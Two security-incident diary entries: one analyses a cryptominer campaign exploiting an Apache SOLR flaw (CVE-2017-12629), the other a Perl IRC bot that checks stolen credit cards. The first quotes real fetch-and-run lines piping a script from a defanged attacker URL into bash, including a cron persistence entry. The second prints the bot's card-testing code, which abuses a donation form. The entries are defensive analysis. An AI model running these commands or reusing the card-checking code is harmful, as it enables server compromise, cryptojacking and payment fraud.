Apache SOLR: the new target for cryptominers

Published: 2018-03-08
Last Updated: 2018-03-09 00:13:32 UTC
by Renato Marinho (Version: 1)
1 comment(s)

Earlier this year, I wrote about a campaign targeting vulnerable Oracle WebLogic installations to deploy cryptocurrency miners [1] . Based on some of the mining pool statistics associated with these installs, criminals were quite successful. Now that most Oracle WebLogic servers are fixed, miscreants had to move to another target. Based on an incident I responded to on Thursday, vulnerable Apache SOLR servers may now be “it”.

Within 9 days (from Feb, 28 to Mar, 8) this single campaign exploited 1416 vulnerable Apache SOLR servers to deploy  Monero XMRig miners across the globe. There are enough similarities between these two attacks to suggest that this is the same group that was responsible for the WebLogic campaign. Log formats, file names and even the basic install script for the miner are identical. Of course, it is always possible that we are just dealing with copycats. These scripts have been out in the open for a while now.

The flaw (CVE-2017-12629) [2] first announced October 12th 2017, affects Apache SOLR version 7.1 and below. Due to an incorrectly configured XML parser in the “queryparser” library, attackers can get access to sensitive information or execute arbitrary code on vulnerable systems.

The CVSS v2 score is only "High" (7.5). But an exploit has been widely available since October 17th, less than a week after the vulnerability was made public. It is no surprise that attackers quickly turned to this easily executed exploit. The CVSS v3 score of "Critical" (9.8) is probably more appropriate. 

Attack Evidence

Examining a compromised machine, it was possible to identify the very moment the vulnerability was exploited, as seen below:

2018-02-28 13:02:50.790 INFO  (qtp1450821318-12) [   x:mooc] o.a.s.h.SolrConfigHandler Executed config commands successfully and persisted to File System [{"add-listener":{

      "curl hxxp://mms.kenguru.ru/includes/libraries/getsetup.php?p=sl | bash"]}}]

The content loaded from the address hxxp://mms.kenguru.ru/includes/libraries/getsetup.php?p=sl  is a bash script responsible for deploying the malware and making it persistent. See below a snippet from the script.

Figure 1 - Malware deploying script

Once executed, a scheduled task is created on the victim’s machine to ensure the miner is always up and running.

25 0,3,6,9,12,15,18 * * * curl -s "hxxp://mms.kenguru.ru/includes/libraries/getsetup.php?p=sl" | bash

After discovering the infection vector of this campaign, the “sl” string given as an argument to the “getsetup.php?p=sl” made sense. SL refers to SOLR. The previous campaign used “WL” for "WebLogic".

Additionally, there will be a process called “fs-manager” running on affected servers connected to the miner pool through the address “pool-proxy.com” on port 8080.

Evolving number of victims

As I’m writing this diary, the number of victims is getting higher. From Feb, 28 to Mar, 8 this campaign infected 1777 victims, of which 1416 are SOLR servers. See below the worldwide SOLR victims distribution.

Figure 2 - SOLR victims across the globe

Final words

In this case, as we are dealing with a library flaw, it’s worth mentioning that it may affect other software which depends on “queryparser” like: IBM InfoSphere version 11.5; JBoss Data Grid verions 7.0.0, 7.1.0; JBoss Enterprise Application Platform (EAP) versions 6, 7, 7.0.8; JBoss Enterprise Portal Platform version 6 among others. Refer to this link [3] for more software that may have been affected.

Early this week, I came across another cryptominer incident involving a malware that, due to its similarities with WannaCry, became known as WannaMine. It employs fileless capabilities andusing pass-the-hash plus EternalBlue exploiting to move laterally. As we are witnessing, regardless of the vulnerability, malicious miner’s CPU race seems getting fiercer. But that’s for another diary.

Indicators of Compromise (IOCs)

7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c  fs-manager
a3bbc8d3c4a950fa0b0def4109a07e9d01bae157781ff7a4b07910340e021dc7  config.json



[1] https://isc.sans.edu/forums/diary/Campaign+is+using+a+recently+released+WebLogic+exploit+to+deploy+a+Monero+miner/23191/
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629
[3] https://www.securityfocus.com/bid/101261/info

Renato Marinho
Morphus Labs| LinkedIn|Twitter

1 comment(s)


Published: 2018-03-08
Last Updated: 2018-03-08 07:34:09 UTC
by Xavier Mertens (Version: 1)
4 comment(s)

Yesterday, I got my hands on the source code of an IRC bot written in Perl. Yes, IRC ("Internet Relay Chat") is still alive! If the chat protocol is less used today to handle communications between malware and their C2 servers, it remains an easy way to interact with malicious bots that provide interesting services to attackers. I had a quick look at the source code (poorly written) and found some interesting information:

  • The Perl script was developed in a Windows environment (C:\Perl64\lib\perl.exe)
  • Comments and some variable names are written in Italian
  • Many typo errors
  • The source has many unused blocks of code.

Example, unused configurations are stored in Base64 encoding like servers IP addresses:

my $hostcri = "ODcuMjM2LjE5NC42OQ==";
$systemcri = MIME::Base64::decode($hostcri); //

Honestly, the bot was simply NOT working out of the box. I had to fix many issues in the code to have an "almost" working version. Of course, I did not test it on a public IRC server but deployed a quick lab based on Docker containers:

Container 1 - the IRC server:

$ docker run --rm --name ircserver -p 6667:6667 xena/elemental-ircd

Container 2 - the bot:

$ docker run —rm —name bot ubuntu:bot
$ docker cp bot.pl bot:/tmp
$ docker exec -it bot perl /tmp/bot.pl

Note: I had to install many Perl libraries because the bot generated a lot of HTTP requests and uses specific modules for this purpose like WWW::Mechanize, WWW::Scripter or WWW::Selenium.

I added some debugging code and fire the bot with a simple configuration to force it to connect to my local IRC server container. By default, the bot connects to a channel called “#deep” and presents itself with the nickname “[CRIMEB4NK]”:

21:43 [CRIMEB4NK] has joined (~walled@172.17.q.y)

Let’s have a look at the commands defined in the bot:

21:43 Xme: !help
21:43 [CRIMEB4NK]: Type  !cmd to get command list
21:43 Xme: !cmd
21:43 [CRIMEB4NK]: -=  BOt Commands =-
21:43 [CRIMEB4NK]: info:  Suported  [VISA] [MasterCard] [Disco ver] [American Express]
21:43 [CRIMEB4NK]: !chk .......:  <ccnumber>  <expdate>  <cvv> to check cvv2
21:43 [CRIMEB4NK]: !ip ........:  <ip address> to get info about an IP
21:43 [CRIMEB4NK]: !zip .......:  <zip code> to get city and state by zip

In fact, the source code reveals more commands, here is the complete list:

!ip <ipaddress>

Display information about the provided IP address (based on information returned by querying http://www.ip2location.com/. 

(Note: the command did not work because the website returned a new HTML code that was not properly parsed)

!zip <zipcode>

Display information about the provided ZIP code (based on http://www.zipinfo.com)

!zipcode <zipcode>

Display information about the provided ZIP code (based on http://zip4.usps.com/zip4/citytown_zip.jsp)

!chk 1

!chk status

Just returns "[!] Information: Checker is ON![!]" (I don't know the meaning of this command)

!chk <cc> <expdate> <cvv>

The core feature of the bot: To check the validity of a credit card details

!pp <email>

Verify if the provided email address is a valid Paypal account

!apple <login> <password>

Verify if the provided data are valid Apple credentials

As I said, the bot does not work anymore. The main function is broken (the CC validation) because the victim's page added a CAPTCHA code to prevent abuses (or they detected too much suspicious activity?) but it's interesting to see how they implemented the check. They found a foundation that accepts donations and they just simulate the donation of $1. Here is the block of code which performs the check:

if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/) {
  my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
  my $var1 = substr($expmes,0,2);
  my $var2 = substr($expmes,2,4);
  my $varType = 0;
  my $agent = WWW::Mechanize->new( autocheck => 1 );
  my $formfiller = WWW::Mechanize::FormFiller->new();
  $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  { local $^W; $agent->current_form->value('firstname', 'mark'); };
  { local $^W; $agent->current_form->value('lastname', 'smith'); };
  # All the form fields are processed here...
  { local $^W; $agent->current_form->value('message', 'charity'); };
  { local $^W; $agent->current_form->value('donationAmount', '1'); };
  { local $^W; $agent->current_form->value('cardName', 'mark smith'); };
  { local $^W; $agent->current_form->value('cardType', 'visa~Visa'); };
  { local $^W; $agent->current_form->value('cardNumber', ''.$numerocarta.''); };
  { local $^W; $agent->current_form->value('cardExpiration', ''.$var1.$var2.''); };
  { local $^W; $agent->current_form->value('cardAuthCode', ''.$verifica.''); };
  print $agent->content,"\n";
  my $allo=$agent->content;
  open(FILE,">>chk13.html") or die "$!";
  print FILE "$allo\n";
  close FILE;
  my $allo=$agent->content;
  if ($allo =~/The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder./){
  }elsif ($allo =~/This transaction has been declined./){
  # ...
  }elsif ($allo =~/The credit card number is invalid./){
  # ...
  }elsif ($allo =~/The card code is invalid./){
  # ...
  }elsif ($allo =~/The credit card has expired./){
  # ...
  }elsif ($allo =~/The credit card expiration date entered is not valid./){
  # ...
  }elsif ($allo =~//){
  # ...
  }elsif ($allo =~/A duplicate transaction has been submitted./){
  # ...
  }elsif ($allo =~/The credit card number entered is not valid./){
  # ...
  }elsif ($allo =~/This transaction has been declined./){
  # ...
  }elsif ($allo =~/Thanks to your important gift/){

To conclude, the bot was not working in its current state and looked quite old but it demonstrates that attackers are always developing tools to automate their actions. I did not find references on Google. I just found another version posted on the first of February with other IRC channel names.

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant

Keywords: bank bot credit card irc
4 comment(s)
ISC Stormcast For Thursday, March 8th 2018 https://isc.sans.edu/podcastdetail.html?id=5901


Diary Archives